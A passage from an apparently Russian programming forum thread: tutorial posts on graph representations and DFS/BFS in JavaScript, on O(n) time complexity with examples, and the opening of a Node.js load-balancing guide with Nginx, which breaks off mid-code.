    Ориентированный граф — рёбра имеют направление (A → B). Неориентированный граф — рёбра двусторонние (A ↔ B). Взвешенный граф — рёбра имеют вес/стоимость. Невзвешенный граф — все рёбра одинакового веса.


    Представление графа в коде

    Существует три основных способа представить граф. Выбор зависит от задачи, количества вершин и плотности графа.

    1. Список смежности (Adjacency List) — самый эффективный

    Для каждой вершины храним список её соседей. Это самый популярный способ.

    // Неориентированный граф с помощью Map
    const graph = new Map();
    
    // Добавление рёбер
    graph.set('A', ['B', 'C']);
    graph.set('B', ['A', 'D']);
    graph.set('C', ['A', 'D']);
    graph.set('D', ['B', 'C']);
    
    // Или с помощью объекта
    const graphObj = {
      'A': ['B', 'C'],
      'B': ['A', 'D'],
      'C': ['A', 'D'],
      'D': ['B', 'C']
    };
    

    Преимущества: компактный для разреженных графов, быстрый доступ к соседям, O(V+E) память.
    Недостатки: проверка наличия конкретного ребра требует линейного поиска.

    2. Матрица смежности (Adjacency Matrix)

    Двумерный массив, где matrix[i][j] = 1, если есть ребро между вершиной i и j.

    // Граф с 4 вершинами
    const matrix = [
      [0, 1, 1, 0],  // A: связана с B, C
      [1, 0, 0, 1],  // B: связана с A, D
      [1, 0, 0, 1],  // C: связана с A, D
      [0, 1, 1, 0]   // D: связана с B, C
    ];
    
    // Или с индексами для удобства
    const vertices = ['A', 'B', 'C', 'D'];
    
    // Проверка ребра A → B: matrix[0][1] === 1
    // Для взвешенного графа: matrix[i][j] = вес
    

    Преимущества: быстрая проверка ребра O(1), подходит для плотных графов.
    Недостатки: требует O(V²) памяти, неэффективна для разреженных графов.

    3. Список рёбер (Edge List)

    Просто список всех рёбер в виде пар вершин.

    const edges = [
      ['A', 'B'],
      ['A', 'C'],
      ['B', 'D'],
      ['C', 'D']
    ];
    
    // Для взвешенного графа:
    const weightedEdges = [
      ['A', 'B', 5],
      ['A', 'C', 3],
      ['B', 'D', 2],
      ['C', 'D', 7]
    ];
    

    Используется: когда нужно обрабатывать все рёбра, в алгоритмах вроде Краскала.


    Класс Graph для удобства

    Создадим удобный класс для работы с графами:

    class Graph {
      constructor(isDirected = false) {
        this.adjacencyList = new Map();
        this.isDirected = isDirected;
      }
    
      addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
          this.adjacencyList.set(vertex, []);
        }
      }
    
      addEdge(vertex1, vertex2, weight = 1) {
        this.addVertex(vertex1);
        this.addVertex(vertex2);
        
        this.adjacencyList.get(vertex1).push({ node: vertex2, weight });
        
        // Для неориентированного графа добавляем обратное ребро
        if (!this.isDirected) {
          this.adjacencyList.get(vertex2).push({ node: vertex1, weight });
        }
      }
    
      getNeighbors(vertex) {
        return this.adjacencyList.get(vertex) || [];
      }
    
      hasVertex(vertex) {
        return this.adjacencyList.has(vertex);
      }
    
      display() {
        for (let [vertex, neighbors] of this.adjacencyList) {
          console.log(`${vertex} →`, neighbors.map(n => n.node).join(', '));
        }
      }
    }
    

    Использование:

    const g = new Graph(false); // неориентированный граф
    g.addEdge('A', 'B');
    g.addEdge('A', 'C');
    g.addEdge('B', 'D');
    g.display();
    // Вывод:
    // A → B, C
    // B → A, D
    // C → A
    // D → B
    

    DFS (Depth-First Search) — Поиск в глубину

    Как работает DFS

    1. Начинаем с начальной вершины
    2. Идём в глубину, посещая первого соседа
    3. Затем идём в соседа этого соседа и т.д.
    4. Когда соседей нет, возвращаемся (backtrack) к последней вершине и ищем другой путь
    5. Повторяем, пока не посетим все вершины

    Аналогия: исследование лабиринта — идёшь в одну сторону полностью, потом разворачиваешься и пробуешь другую.

    DFS рекурсивная реализация

    class Graph {
      // ... предыдущий код ...
    
      dfsRecursive(startVertex, visited = new Set(), result = []) {
        visited.add(startVertex);
        result.push(startVertex);
    
        const neighbors = this.getNeighbors(startVertex);
        for (let neighbor of neighbors) {
          if (!visited.has(neighbor.node)) {
            this.dfsRecursive(neighbor.node, visited, result);
          }
        }
    
        return result;
      }
    
      dfs(startVertex) {
        return this.dfsRecursive(startVertex);
      }
    }
    

    Пример использования:

    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('A', 'C');
    g.addEdge('B', 'D');
    g.addEdge('C', 'D');
    g.addEdge('D', 'E');
    
    console.log(g.dfs('A')); // ['A', 'B', 'D', 'C', 'E']
    

    Как это работает step-by-step:

    1. Посетить A, добавить в результат
    2. A имеет соседей B и C, идём к B (первому)
    3. B имеет соседей A (уже посещена) и D, идём к D
    4. D имеет соседей B (уже посещена), C и E, идём к C
    5. C имеет соседей A (уже посещена) и D (уже посещена)
    6. Возвращаемся к D, идём к E
    7. E соседей нет, всё готово

    DFS итеративная реализация (со стеком)

    class Graph {
      dfsIterative(startVertex) {
        const visited = new Set();
        const stack = [startVertex];
        const result = [];
    
        while (stack.length > 0) {
          const vertex = stack.pop();
    
          if (!visited.has(vertex)) {
            visited.add(vertex);
            result.push(vertex);
    
            const neighbors = this.getNeighbors(vertex);
            // Добавляем соседей в стек в обратном порядке
            // чтобы первого соседа обработать первым
            for (let i = neighbors.length - 1; i >= 0; i--) {
              if (!visited.has(neighbors[i].node)) {
                stack.push(neighbors[i].node);
              }
            }
          }
        }
    
        return result;
      }
    }
    

    Когда использовать DFS:

    • Поиск пути в лабиринте или графе
    • Обнаружение циклов в графе
    • Топологическая сортировка
    • Проверка связности компонент
    • Задачи с backtracking (судоку, головоломки)
    • Когда граф очень широкий (много соседей) — DFS экономит память

    BFS (Breadth-First Search) — Поиск в ширину

    Как работает BFS

    1. Начинаем с начальной вершины
    2. Посещаем всех её соседей (уровень 1)
    3. Затем посещаем всех соседей уровня 1 (уровень 2)
    4. Затем уровень 3 и т.д.
    5. Продолжаем, пока не посетим все вершины

    Аналогия: расширяющиеся волны в воде — сначала ближайшие точки, потом дальше.

    BFS реализация (с очередью)

    class Graph {
      bfs(startVertex) {
        const visited = new Set();
        const queue = [startVertex];
        const result = [];
    
        visited.add(startVertex);
    
        while (queue.length > 0) {
          const vertex = queue.shift(); // берём первый элемент
          result.push(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              visited.add(neighbor.node);
              queue.push(neighbor.node); // добавляем в конец
            }
          }
        }
    
        return result;
      }
    }
    

    Пример использования:

    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('A', 'C');
    g.addEdge('B', 'D');
    g.addEdge('C', 'D');
    g.addEdge('D', 'E');
    
    console.log(g.bfs('A')); // ['A', 'B', 'C', 'D', 'E']
    

    Как это работает step-by-step:

    1. Очередь: [A], посетить A, результат: [A]
    2. Соседи A: B, C. Очередь: [B, C], посетить B, результат: [A, B]
    3. Соседи B: A (уже), D. Очередь: [C, D], посетить C, результат: [A, B, C]
    4. Соседи 😄 A (уже), D (уже в очереди). Очередь: [D], посетить D, результат: [A, B, C, D]
    5. Соседи 😧 B (уже), C (уже), E. Очередь: [E], посетить E, результат: [A, B, C, D, E]

    Когда использовать BFS:

    • Поиск кратчайшего пути в невзвешенном графе
    • Проверка, является ли граф двудольным
    • Уровневый обход дерева/графа
    • Поиск всех вершин на определённом расстоянии
    • Когда граф глубокий, а решение близко к началу

    DFS vs BFS

    Параметр DFS BFS
    Структура данных Стек (рекурсия) Очередь
    Память O(h) где h — глубина O(w) где w — ширина
    Кратчайший путь ❌ Не гарантирует ✓ Гарантирует (невзвешённый граф)
    Порядок посещения Глубоко в одну ветку Слой за слоем
    Применение Циклы, топосорт, backtracking Кратчайший путь, проверка расстояния
    Сложность O(V + E) O(V + E)

    Практические примеры

    Пример 1: Поиск пути между двумя вершинами

    class Graph {
      // ... предыдущий код ...
    
      findPath(start, end) {
        const visited = new Set();
        const path = [];
    
        const dfs = (vertex) => {
          visited.add(vertex);
          path.push(vertex);
    
          if (vertex === end) {
            return true; // путь найден
          }
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              if (dfs(neighbor.node)) {
                return true;
              }
            }
          }
    
          path.pop(); // backtrack
          return false;
        };
    
        if (dfs(start)) {
          return path;
        }
        return null; // пути нет
      }
    }
    
    // Использование
    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('B', 'C');
    g.addEdge('A', 'D');
    g.addEdge('D', 'C');
    
    console.log(g.findPath('A', 'C')); // ['A', 'B', 'C']
    

    Пример 2: Поиск кратчайшего пути (невзвешённый граф)

    class Graph {
      // ... предыдущий код ...
    
      shortestPath(start, end) {
        const visited = new Set();
        const queue = [[start, [start]]]; // [вершина, путь до неё]
        visited.add(start);
    
        while (queue.length > 0) {
          const [vertex, path] = queue.shift();
    
          if (vertex === end) {
            return path;
          }
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              visited.add(neighbor.node);
              queue.push([neighbor.node, [...path, neighbor.node]]);
            }
          }
        }
    
        return null; // пути нет
      }
    }
    
    // Использование
    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('B', 'C');
    g.addEdge('A', 'D');
    g.addEdge('D', 'E');
    g.addEdge('E', 'C');
    
    console.log(g.shortestPath('A', 'C')); // ['A', 'B', 'C'] (длина 2)
    // Не выберет ['A', 'D', 'E', 'C'] (длина 3)
    

    Пример 3: Проверка наличия цикла в графе

    class Graph {
      // ... предыдущий код ...
    
      hasCycle() {
        const visited = new Set();
        const recursionStack = new Set();
    
        const dfs = (vertex, parent = null) => {
          visited.add(vertex);
          recursionStack.add(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            const nextVertex = neighbor.node;
    
            // Для неориентированного графа проверяем, не родитель ли это
            if (this.isDirected && visited.has(nextVertex) && recursionStack.has(nextVertex)) {
              return true; // цикл найден
            }
    
            if (!this.isDirected && nextVertex === parent) {
              continue; // пропускаем обратную ссылку
            }
    
            if (!visited.has(nextVertex)) {
              if (dfs(nextVertex, vertex)) {
                return true;
              }
            }
          }
    
          recursionStack.delete(vertex);
          return false;
        };
    
        for (let vertex of this.adjacencyList.keys()) {
          if (!visited.has(vertex)) {
            if (dfs(vertex)) {
              return true;
            }
          }
        }
    
        return false;
      }
    }
    
    // Использование
    const g1 = new Graph(false);
    g1.addEdge('A', 'B');
    g1.addEdge('B', 'C');
    g1.addEdge('C', 'A'); // цикл!
    
    console.log(g1.hasCycle()); // true
    
    const g2 = new Graph(false);
    g2.addEdge('A', 'B');
    g2.addEdge('B', 'C');
    
    console.log(g2.hasCycle()); // false
    

    Пример 4: Подсчёт количества связных компонент

    class Graph {
      // ... предыдущий код ...
    
      countConnectedComponents() {
        const visited = new Set();
        let count = 0;
    
        const dfs = (vertex) => {
          visited.add(vertex);
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              dfs(neighbor.node);
            }
          }
        };
    
        for (let vertex of this.adjacencyList.keys()) {
          if (!visited.has(vertex)) {
            dfs(vertex);
            count++;
          }
        }
    
        return count;
      }
    }
    
    // Использование
    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('C', 'D');
    g.addEdge('E', 'F');
    g.addEdge('F', 'G');
    
    console.log(g.countConnectedComponents()); // 3 компоненты: [A,B], [C,D], [E,F,G]
    

    Пример 5: Поиск всех вершин на определённом расстоянии

    class Graph {
      // ... предыдущий код ...
    
      verticesAtDistance(start, distance) {
        const visited = new Set();
        const queue = [[start, 0]]; // [вершина, расстояние]
        const result = [];
    
        visited.add(start);
    
        while (queue.length > 0) {
          const [vertex, dist] = queue.shift();
    
          if (dist === distance) {
            result.push(vertex);
          }
    
          if (dist < distance) {
            const neighbors = this.getNeighbors(vertex);
            for (let neighbor of neighbors) {
              if (!visited.has(neighbor.node)) {
                visited.add(neighbor.node);
                queue.push([neighbor.node, dist + 1]);
              }
            }
          }
        }
    
        return result;
      }
    }
    
    // Использование
    const g = new Graph(false);
    g.addEdge('A', 'B');
    g.addEdge('A', 'C');
    g.addEdge('B', 'D');
    g.addEdge('C', 'E');
    g.addEdge('D', 'F');
    
    console.log(g.verticesAtDistance('A', 0)); // ['A']
    console.log(g.verticesAtDistance('A', 1)); // ['B', 'C']
    console.log(g.verticesAtDistance('A', 2)); // ['D', 'E']
    console.log(g.verticesAtDistance('A', 3)); // ['F']
    

    Пример 6: Топологическая сортировка (для ориентированного ацикличного графа)

    class Graph {
      // ... предыдущий код ...
    
      topologicalSort() {
        const visited = new Set();
        const stack = [];
    
        const dfs = (vertex) => {
          visited.add(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              dfs(neighbor.node);
            }
          }
    
          stack.push(vertex);
        };
    
        for (let vertex of this.adjacencyList.keys()) {
          if (!visited.has(vertex)) {
            dfs(vertex);
          }
        }
    
        return stack.reverse();
      }
    }
    
    // Использование: расписание задач с зависимостями
    // Задача B зависит от A, задача D зависит от B и C
    const g = new Graph(true);
    g.addEdge('A', 'B');
    g.addEdge('B', 'D');
    g.addEdge('C', 'D');
    
    console.log(g.topologicalSort()); // ['A', 'C', 'B', 'D'] или ['C', 'A', 'B', 'D']
    // Суть: A и C выполняются первыми, потом B, потом D
    

    Пример 7: Реальный пример — поиск маршрута между аэропортами

    class Graph {
      // ... весь предыдущий код ...
    }
    
    // Создаём граф аэропортов
    const airports = new Graph(false);
    airports.addEdge('JFK', 'LAX');
    airports.addEdge('JFK', 'ATL');
    airports.addEdge('LAX', 'SFO');
    airports.addEdge('ATL', 'DFW');
    airports.addEdge('DFW', 'SFO');
    airports.addEdge('ATL', 'MIA');
    
    // Найти кратчайший маршрут из JFK в SFO
    const route = airports.shortestPath('JFK', 'SFO');
    console.log(`Маршрут из JFK в SFO: ${route.join(' → ')}`);
    // Маршрут из JFK в SFO: JFK → LAX → SFO (2 перелёта)
    // Альтернатива была бы: JFK → ATL → DFW → SFO (3 перелёта)
    
    // Проверить, есть ли прямой путь
    const allNeighbors = airports.bfs('JFK');
    console.log(`Достижимые из JFK:`, allNeighbors);
    // Достижимые из JFK: ['JFK', 'LAX', 'ATL', 'SFO', 'DFW', 'MIA']
    

    Сложность алгоритмов

    Временная сложность обоих алгоритмов: O(V + E)

    • V — количество вершин
    • E — количество рёбер
    • Мы посещаем каждую вершину один раз и рассматриваем каждое ребро один раз

    Пространственная сложность:

    • DFS: O(h) где h — глубина графа (из-за рекурсивного стека вызовов)
    • BFS: O(w) где w — максимальная ширина на каждом уровне

    Практический вывод: для широких графов DFS более экономен по памяти, для глубоких графов BFS.


    Полный рабочий класс Graph

    class Graph {
      constructor(isDirected = false) {
        this.adjacencyList = new Map();
        this.isDirected = isDirected;
      }
    
      addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
          this.adjacencyList.set(vertex, []);
        }
      }
    
      addEdge(vertex1, vertex2, weight = 1) {
        this.addVertex(vertex1);
        this.addVertex(vertex2);
        
        this.adjacencyList.get(vertex1).push({ node: vertex2, weight });
        
        if (!this.isDirected) {
          this.adjacencyList.get(vertex2).push({ node: vertex1, weight });
        }
      }
    
      getNeighbors(vertex) {
        return this.adjacencyList.get(vertex) || [];
      }
    
      hasVertex(vertex) {
        return this.adjacencyList.has(vertex);
      }
    
      dfs(startVertex) {
        const visited = new Set();
        const result = [];
    
        const dfsHelper = (vertex) => {
          visited.add(vertex);
          result.push(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              dfsHelper(neighbor.node);
            }
          }
        };
    
        dfsHelper(startVertex);
        return result;
      }
    
      bfs(startVertex) {
        const visited = new Set();
        const queue = [startVertex];
        const result = [];
    
        visited.add(startVertex);
    
        while (queue.length > 0) {
          const vertex = queue.shift();
          result.push(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              visited.add(neighbor.node);
              queue.push(neighbor.node);
            }
          }
        }
    
        return result;
      }
    
      shortestPath(start, end) {
        const visited = new Set();
        const queue = [[start, [start]]];
        visited.add(start);
    
        while (queue.length > 0) {
          const [vertex, path] = queue.shift();
    
          if (vertex === end) {
            return path;
          }
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              visited.add(neighbor.node);
              queue.push([neighbor.node, [...path, neighbor.node]]);
            }
          }
        }
    
        return null;
      }
    
      hasCycle() {
        const visited = new Set();
        const recursionStack = new Set();
    
        const dfs = (vertex, parent = null) => {
          visited.add(vertex);
          recursionStack.add(vertex);
    
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            const nextVertex = neighbor.node;
    
            if (this.isDirected && visited.has(nextVertex) && recursionStack.has(nextVertex)) {
              return true;
            }
    
            if (!this.isDirected && nextVertex === parent) {
              continue;
            }
    
            if (!visited.has(nextVertex)) {
              if (dfs(nextVertex, vertex)) {
                return true;
              }
            }
          }
    
          recursionStack.delete(vertex);
          return false;
        };
    
        for (let vertex of this.adjacencyList.keys()) {
          if (!visited.has(vertex)) {
            if (dfs(vertex)) {
              return true;
            }
          }
        }
    
        return false;
      }
    
      countConnectedComponents() {
        const visited = new Set();
        let count = 0;
    
        const dfs = (vertex) => {
          visited.add(vertex);
          const neighbors = this.getNeighbors(vertex);
          for (let neighbor of neighbors) {
            if (!visited.has(neighbor.node)) {
              dfs(neighbor.node);
            }
          }
        };
    
        for (let vertex of this.adjacencyList.keys()) {
          if (!visited.has(vertex)) {
            dfs(vertex);
            count++;
          }
        }
    
        return count;
      }
    
      display() {
        for (let [vertex, neighbors] of this.adjacencyList) {
          console.log(`${vertex} →`, neighbors.map(n => n.node).join(', '));
        }
      }
    }
    

    Заключение

    DFS и BFS — это фундаментальные алгоритмы для работы с графами. Оба работают за O(V+E) и выбор между ними зависит от задачи:

    • Выбирай DFS если нужно искать пути, обнаруживать циклы или когда память важна
    • Выбирай BFS если нужен кратчайший путь в невзвешённом графе или слойный обход

    Практикуйся с примерами выше, экспериментируй с разными топологиями графов, и вскоре эти алгоритмы станут второй натурой.


    0 0 1 Ответить
  • AladdinA
    Aladdin
    Временная сложность O(n): полный гайд с примерами на JavaScript

    Сложность O(n) описывает алгоритмы, где время выполнения растёт пропорционально размеру входных данных. Если входных элементов 100 — алгоритм сделает примерно 100 операций. Если 10 000 — сделает примерно 10 000 операций.

    Зачем нужно это знать? Потому что разница между хорошим и плохим алгоритмом может быть в миллионы раз. Обработка данных за 0.1 секунду или за час — результат одного неправильного выбора алгоритма.

    Как считается сложность

    Сложность O(n) означает: количество операций примерно равно n (количеству элементов).

    При n = 100: операций ~100
    При n = 1000: операций ~1000
    При n = 1 000 000: операций ~1 000 000

    Линейная зависимость — просто и предсказуемо.

    Пример 1: Простой цикл по массиву

    function findMax(arr) {
      let max = arr[0];
      
      for (let i = 1; i < arr.length; i++) {
        if (arr[i] > max) {
          max = arr[i];
        }
      }
      
      return max;
    }
    
    const numbers = [3, 1, 4, 1, 5, 9, 2, 6];
    console.log(findMax(numbers)); // 9
    

    Почему O(n)? Цикл for проходит по всем элементам массива ровно один раз. Если в массиве 8 элементов — 8 итераций. Если 1000 элементов — 1000 итераций. Это и есть O(n).

    Как это работает:

    1. Берём первый элемент как начальное максимальное значение
    2. Проходим по остальным элементам
    3. Если текущий элемент больше максимума — обновляем максимум
    4. Возвращаем результат

    Пример 2: Поиск элемента в массиве

    function search(arr, target) {
      for (let i = 0; i < arr.length; i++) {
        if (arr[i] === target) {
          return i;
        }
      }
      return -1;
    }
    
    const colors = ['red', 'green', 'blue', 'yellow'];
    console.log(search(colors, 'blue'));    // 2
    console.log(search(colors, 'purple'));  // -1
    

    Почему O(n)? В худшем случае (элемент в конце или отсутствует) нужно проверить все элементы.

    В лучшем случае: O(1) — элемент в начале, нашли сразу.
    В среднем случае: O(n) — примерно на середине.
    В худшем случае: O(n) — элемента нет или в конце.

    Обычно говорят о худшем случае, поэтому это O(n).

    Пример 3: Суммирование всех элементов

    function sum(arr) {
      let total = 0;
      
      for (let i = 0; i < arr.length; i++) {
        total += arr[i];
      }
      
      return total;
    }
    
    const prices = [100, 250, 50, 300];
    console.log(sum(prices)); // 700
    

    Почему O(n)? Нужно посетить каждый элемент ровно один раз, чтобы добавить его к сумме. Нет способа посчитать сумму без обхода всех элементов.

    Пример 4: Фильтрация массива

    function filterPositive(arr) {
      const result = [];
      
      for (let i = 0; i < arr.length; i++) {
        if (arr[i] > 0) {
          result.push(arr[i]);
        }
      }
      
      return result;
    }
    
    const numbers = [-5, 10, -3, 8, 0, -1, 15];
    console.log(filterPositive(numbers)); // [10, 8, 15]
    

    Почему O(n)? Проходим по всем элементам один раз, проверяем условие для каждого.

    То же самое для встроенного метода:

    const positive = numbers.filter(x => x > 0); // Тоже O(n)
    

    Встроенные методы .filter(), .map(), .forEach() — все они O(n), потому что внутри есть цикл по всем элементам.

    Пример 5: Подсчёт вхождений элемента

    function countOccurrences(arr, target) {
      let count = 0;
      
      for (let i = 0; i < arr.length; i++) {
        if (arr[i] === target) {
          count++;
        }
      }
      
      return count;
    }
    
    const items = ['apple', 'banana', 'apple', 'cherry', 'apple'];
    console.log(countOccurrences(items, 'apple')); // 3
    

    Почему O(n)? Нужно проверить все элементы, чтобы посчитать их правильно.

    Пример 6: Проверка содержимого (includes)

    function contains(arr, value) {
      for (let i = 0; i < arr.length; i++) {
        if (arr[i] === value) {
          return true;
        }
      }
      return false;
    }
    
    const fruits = ['apple', 'banana', 'cherry'];
    console.log(contains(fruits, 'banana'));  // true
    console.log(contains(fruits, 'orange'));  // false
    

    То же самое с методом:

    fruits.includes('banana'); // Тоже O(n)
    

    Пример 7: Копирование массива

    function copyArray(arr) {
      const copy = [];
      
      for (let i = 0; i < arr.length; i++) {
        copy.push(arr[i]);
      }
      
      return copy;
    }
    
    const original = [1, 2, 3];
    const duplicate = copyArray(original);
    console.log(duplicate); // [1, 2, 3]
    

    Почему O(n)? Нужно посетить каждый элемент, чтобы скопировать его.

    Пример 8: Поиск минимума и максимума одновременно

    function findMinMax(arr) {
      let min = arr[0];
      let max = arr[0];
      
      for (let i = 1; i < arr.length; i++) {
        if (arr[i] < min) {
          min = arr[i];
        }
        if (arr[i] > max) {
          max = arr[i];
        }
      }
      
      return { min, max };
    }
    
    const numbers = [3, 1, 4, 1, 5, 9, 2, 6];
    console.log(findMinMax(numbers)); // { min: 1, max: 9 }
    

    Почему O(n)? Один цикл по всем элементам. Неважно, что операций внутри цикла больше одной — мы проходим каждый элемент один раз.

    Пример 9: Сложное условие в цикле (всё ещё O(n))

    function processData(arr) {
      let result = 0;
      
      for (let i = 0; i < arr.length; i++) {
        // Много операций, но всё равно O(n)
        if (arr[i] > 0) {
          result += arr[i] * 2;
          result = Math.sqrt(result);
          result += arr[i];
        } else {
          result -= arr[i];
        }
      }
      
      return result;
    }
    
    console.log(processData([1, 2, 3]));   // O(n)
    console.log(processData([1, 2, 3, 4, 5])); // Примерно в 1.67 раз дольше
    

    Почему O(n)? Важен количество итераций цикла, не количество операций внутри. Даже если внутри 100 операций, это всё ещё O(n), только с большей константой.

    Пример 10: Вложенные циклы (это НЕ O(n)!)

    // НЕПРАВИЛЬНО для O(n):
    function findPairs(arr) {
      const pairs = [];
      
      for (let i = 0; i < arr.length; i++) {
        for (let j = 0; j < arr.length; j++) {
          if (arr[i] + arr[j] === 10) {
            pairs.push([arr[i], arr[j]]);
          }
        }
      }
      
      return pairs;
    }
    
    console.log(findPairs([3, 7, 2, 8, 5])); // Вложенные циклы = O(n²), НЕ O(n)
    

    Это O(n²), а не O(n)! Если в массиве 1000 элементов, будет 1 000 000 итераций. Это качественно иначе, чем 1000 итераций.

    O(n) vs O(n²): реальное сравнение

    Давайте увидим разницу:

    // O(n) — хороший алгоритм
    function linearSearch(arr, target) {
      for (let i = 0; i < arr.length; i++) {
        if (arr[i] === target) return i;
      }
      return -1;
    }
    
    // O(n²) — плохой алгоритм
    function quadraticSearch(arr, target) {
      for (let i = 0; i < arr.length; i++) {
        for (let j = 0; j < arr.length; j++) {
          if (arr[j] === target) return j;
        }
      }
      return -1;
    }
    
    // Тест времени
    const bigArray = Array.from({length: 10000}, (_, i) => i);
    const target = 9999;
    
    console.time('O(n)');
    for (let k = 0; k < 1000; k++) linearSearch(bigArray, target);
    console.timeEnd('O(n)');
    // Примерно 20-30ms
    
    console.time('O(n²)');
    for (let k = 0; k < 10; k++) quadraticSearch(bigArray, target); // Только 10 раз!
    console.timeEnd('O(n²)');
    // Примерно 5000-10000ms — в 100+ раз дольше!
    

    Видите разницу? O(n²) убивает производительность.

    Практические советы

    Когда вы видите один простой цикл — это обычно O(n):

    for (let i = 0; i < arr.length; i++) { ... }
    

    Когда вы видите вложенные циклы — это обычно O(n²) или хуже:

    for (let i = 0; i < arr.length; i++) {
      for (let j = 0; j < arr.length; j++) { ... }
    }
    

    Встроенные методы и их сложность:

    • .find(), .filter(), .map(), .forEach() — O(n)
    • .includes(), .indexOf() — O(n)
    • .sort() — O(n log n) (не O(n), но лучше чем O(n²))
    • .push() на конец массива — O(1)
    • .shift(), .unshift() на начало массива — O(n) (нужно сдвигать элементы)

    Почему O(n) — часто хороший выбор

    O(n) часто является оптимальным решением, потому что:

    1. Нужно посетить все элементы. Если вам нужна информация о всех элементах (сумма, поиск элемента, фильтрация), вы не можете быстрее, чем O(n).

    2. Это масштабируется. 1 млн элементов за 100ms вполне приемлемо.

    3. Просто для понимания. Один цикл легче отладить и понять, чем сложные структуры данных.

    Заключение

    O(n) — это линейная сложность, где время растёт пропорционально размеру входных данных. Это один из основных видов сложности, который вам встретится в реальных задачах.

    Запомните:

    • O(n) = один цикл по всем элементам
    • O(n) часто оптимально, когда нужно посетить все элементы
    • O(n²) = вложенные циклы, это плохо для больших данных
    • Всегда думайте о сложности, выбирая алгоритм

    0 0 1 Ответить
  • AladdinA
    Aladdin
    Node.js и Балансировщик Нагрузки: Полное Руководство для Новичков

    Представьте ситуацию: вы запустили Node.js приложение на боевом сервере, оно работает хорошо при 100 пользователях в день. Но вот приложение набирает популярность, и уже 10,000 пользователей одновременно пытаются получить доступ. Единственный экземпляр вашего приложения начинает медленнее отвечать, потом вообще падает. Запросы теряются, пользователи уходят. Вот здесь и приходит на помощь балансировщик нагрузки.

    Балансировщик нагрузки — это промежуточный слой между вашими пользователями и приложением, который распределяет входящие запросы между несколькими копиями вашего приложения, работающими одновременно.


    Часть 1: Основные Концепции

    Что такое горизонтальное масштабирование?

    Есть два способа справиться с растущей нагрузкой:

    Вертикальное масштабирование (upgrade сервера)

    • Вы просто покупаете более мощный сервер (больше RAM, быстрее CPU)
    • Простой способ, но дорогой и имеет физический предел
    • Если сервер падает — всё падает

    Горизонтальное масштабирование (добавить серверы)

    • Вы запускаете копии приложения на разных машинах или портах
    • Балансировщик распределяет запросы между ними
    • Дешевле в долгосроке, нет единой точки отказа, можно масштабировать бесконечно

    Вывод: для highload приложений используйте горизонтальное масштабирование с балансировщиком нагрузки.

    Зачем нужен балансировщик нагрузки?

    1. Улучшение производительности — запросы распределяются, ни один сервер не перегружается
    2. Высокая доступность — если один сервер упадет, остальные продолжат работать
    3. Масштабируемость — просто добавляете новые серверы при растущей нагрузке
    4. Равномерная нагрузка — алгоритмы балансировки гарантируют справедливое распределение

    Часть 2: Алгоритмы Балансировки Нагрузки

    Балансировщик должен знать, на какой сервер отправить запрос. Это делают алгоритмы:

    1. Round Robin (Круговой Метод)

    Как работает: Балансировщик отправляет запросы по очереди: первый на сервер 1, второй на сервер 2, третий на сервер 3, потом снова на сервер 1.

    Запрос 1 → Сервер 1
    Запрос 2 → Сервер 2
    Запрос 3 → Сервер 3
    Запрос 4 → Сервер 1 (цикл повторяется)
    

    Когда использовать: Когда все серверы одинаковой мощности и все запросы примерно одинакового времени обработки.

    Преимущества: Простой, быстрый, справедливый.
    Недостатки: Если один запрос длится 10 секунд, а другой 1 секунду, сервер с длинным запросом будет перегружен.

    2. Least Connections (Минимум Соединений)

    Как работает: Балансировщик следит, сколько активных соединений на каждом сервере, и отправляет новый запрос на сервер с наименьшим количеством активных соединений.

    Сервер 1: 5 активных запросов
    Сервер 2: 2 активных запроса  ← новый запрос пойдет сюда
    Сервер 3: 8 активных запросов
    

    Когда использовать: Когда запросы имеют разное время обработки, или когда есть долгоживущие соединения (например, WebSocket).

    Преимущества: Более справедливое распределение при нестабильной нагрузке.
    Недостатки: Требует отслеживания состояния, немного медленнее.

    3. IP Hash (Хеширование IP)

    Как работает: Балансировщик берет IP-адрес клиента, применяет хеш-функцию и на основе результата всегда отправляет этого клиента на одинаковый сервер.

    Клиент с IP 192.168.1.100 → всегда на Сервер 2
    Клиент с IP 192.168.1.101 → всегда на Сервер 1
    

    Когда использовать: Когда нужны sticky sessions — когда данные сессии хранятся в памяти сервера, и клиент должен всегда идти на один и тот же сервер.

    Преимущества: Гарантирует, что один пользователь всегда на одном сервере.
    Недостатки: Может привести к неравномерной нагрузке, если одни IP адреса требуют больше ресурсов.


    Часть 3: Решение 1 — Балансировка через Nginx

    Nginx — это надежный, быстрый web-сервер, часто используемый как балансировщик нагрузки.

    Как это работает

    Интернет
      ↓
    Nginx (порт 80)
      ↓ (распределяет)
    ┌─────────────────┬─────────────────┬─────────────────┐
    │ Node App        │ Node App        │ Node App        │
    │ (порт 3000)     │ (порт 3001)     │ (порт 3002)     │
    └─────────────────┴─────────────────┴─────────────────┘
    

    Практический пример

    Шаг 1: Запустите несколько копий вашего приложения

    Создайте простой Node.js app (server.js😞

    const express = require('express');
    const app = express();
    
    // Получаем порт из переменной окружения или используем 3000
    const PORT = process.env.PORT || 3000;
    
    app.get('/', (req, res) => {
      res.json({
        message: 'Hello from Node.js',
        port: PORT,
